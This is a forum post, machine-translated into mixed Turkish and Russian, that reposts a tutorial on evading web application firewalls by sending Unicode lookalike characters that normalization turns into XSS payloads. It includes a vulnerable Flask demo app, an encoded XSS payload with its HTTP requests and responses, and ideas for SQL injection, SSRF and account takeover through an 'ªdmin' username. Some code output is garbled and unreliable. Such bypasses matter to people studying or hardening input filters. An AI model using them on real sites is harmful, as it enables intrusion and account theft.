M
Mirbey
Original poster
WAF'yi Atlamak için Unicode Özelliklerini Kullanma
Unicode Uyumluluğu , farklı soyut görünümlere veya davranışlara sahip olabilecek karakterler veya karakter dizileri arasında aynı soyut sembolün temsil edilmesini sağlayan bir Unicode denkliği biçimidir .
Örneğin, Romen rakamları kendi Unicode karakterlerine karşılık gelir, ancak aynı zamanda Latin karakterler I, V, M, vb. İle temsil edilebilir. Uyumluluk kullanıldığında, özel Romen rakamları latin harfleri kullanılarak eşdeğerlerine dönüştürülecektir.
Такое поведение может открыть дверь для злоупотребления некоторыми слабыми реализациями, которые выполняют совместимость с юникодом после очистки входных данных.
Формы нормализации Юникода
Существует четыре стандартных формы нормализации:
- NFC (Normalization Form Canonical Composition): форма нормализации канонической композицией
- NFD (Normalization Form Canonical Decomposition): форма нормализации канонической декомпозицией
- NFKC (Normalization Form Compatibility Composition): форма нормализации совместимой композицией
- NFKD (Normalization Form Compatibility Decomposition): форма нормализации совместимой декомпозицией

NFKC и NFKD интересны тем, что выполняют вышеназванное преобразование символов в их эквиваленты. Проверить, как работают четыре формы нормализации, можно используя следующий фрагмент кода:
Код:
import unicodedata
string = "ⅇⅈ"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))
Вывод:
Код:
NFC: ⅇⅈ
NFD: ⅇⅈ
NFKC: Leonishan
NFKD: Leonishan
Доказательство концепции
Чтобы продемонстрировать то, как можно обойти WAF при помощи Unicode, я развернул простое веб-приложение, отображающее имя пользователя, заданное параметром GET, если WAF не обнаруживает какой-то странный символ.
- server.py
Код:
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
@app.route('/')
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name)
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
- waf.py
Код:
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected
Давайте проверим работу WAF на основе простого пэйлоада
Код:
<img src=p onerror='prompt(1)'>
- Запрос:
Код:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
- Ответ:
Код:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>
WAF успешно заблокировал запрос, потому что обнаружил в нем запрещенные символы.
Строка кода
Код:
name = unicodedata.normalize('NFKD', name)
Идет уже после того, как WAF проанализирует входные данные. Следовательно, если мы отправим следующую полезную нагрузку:
Код:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥
WAF не обнаружит в ней ничего запрещенного, так как таких символов в черном списке у него нет (лишь их эквиваленты). А после - строка нормализуется, превратится в <img src=p onerror='prompt(1)'> и отобразится на странице.
- Запрос:
Код:
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
- Ответ:
Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Test XSS:
Код:
<img src=p onerror='prompt(1)'>

Как найти эквивалентные символы
Чтобы найти полный список символов, имеющих одинаковое значение после совместимости с юникодом, можно использовать этот удивительный ресурс:

- ≮ - < (U + 003C) - ◌̸ (U + 0338)
- ﹤ - < (U+003C)
- < - < (U+003C)
Эксплуатация других уязвимостей
Тонны пользовательских полезных нагрузок могут быть созданы при выполнении нормализации, я дам несколько идей:
- Path Traversal

- SQL Injection

- Server Side Request Forgery (SSRF)

- Open Redirect

- XSS

- Template Injection

- OS Command Injection

- Arbitrary file upload

- Business logic
- 1. ªdmin oturum açma adıyla kullanıcıyı kaydedin. Veritabanında böyle bir giriş yok, kayıt başarılı.
- 2. Giriş ªdmin ile giriş yapmaya çalışıyoruz. Arka uç normalleştirmeyi gerçekleştirir ve gerçek bir yöneticinin sonuçlarını görüntüler.
- 3. Hesabın emilmesi.

bulma
Unicode ile uyumluluğu tespit etmek için, eşdeğer karakterler içeren bir yükü başka bir alfabeden bir parametrenin değerine koymak ve cevaba bakmak gerekir.
Gönderme URL URL'de kodlanmış -% F0% 9D% 95% 83% E2% 85% 87% F0% 9D% 99% A4% F0% 9D% 93% 83% E2% 85% 88% F0% 9D% 94% B0% F0% 9D% 94% A5% F0% 9D% 99% 96% F0% 9D% 93% 83 - aşağıdaki cevabı verir:
Код:
HTTP / 1.0 200 Tamam
İçerik Türü: metin / html; karakter kümesi = utf-8
İçerik: 19
Test XSS: Leonishan [/ CODE]
Unicode uyumlu выполняется
Ve eğer cevap:
[CODE] HTTP / 1.0 200 Tamam
İçerik Türü: metin / html; karakter kümesi = utf-8
İçerik Uzunluğu: 44
Test XSS: ðâð¤ðâð ° ð ¥ ðð [/ KOD]
Unicode uyumluluğu çalışmıyor ❌
[B]Not. [/B]Burp kullanan hatalar arıyorsanız, yükün URL olarak önceden kodlanmış olması gerekir. Burp editörü çok baytlı karakterleri doğru şekilde işlemez.
Makale orijinal olarak İngilizce - [URL='https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html']okundu[/URL] .
Alındığı [URL='https://t.me/cybred']Cybred [/URL] - ağa ve evrensel karşılıklı bilgi özgürlüğü konusunda eski okul yeraltı çevrimiçi topluluklar görüşlerinden etkilenerek kanal bilgileri güvenlik ve rekabetçi zeka,.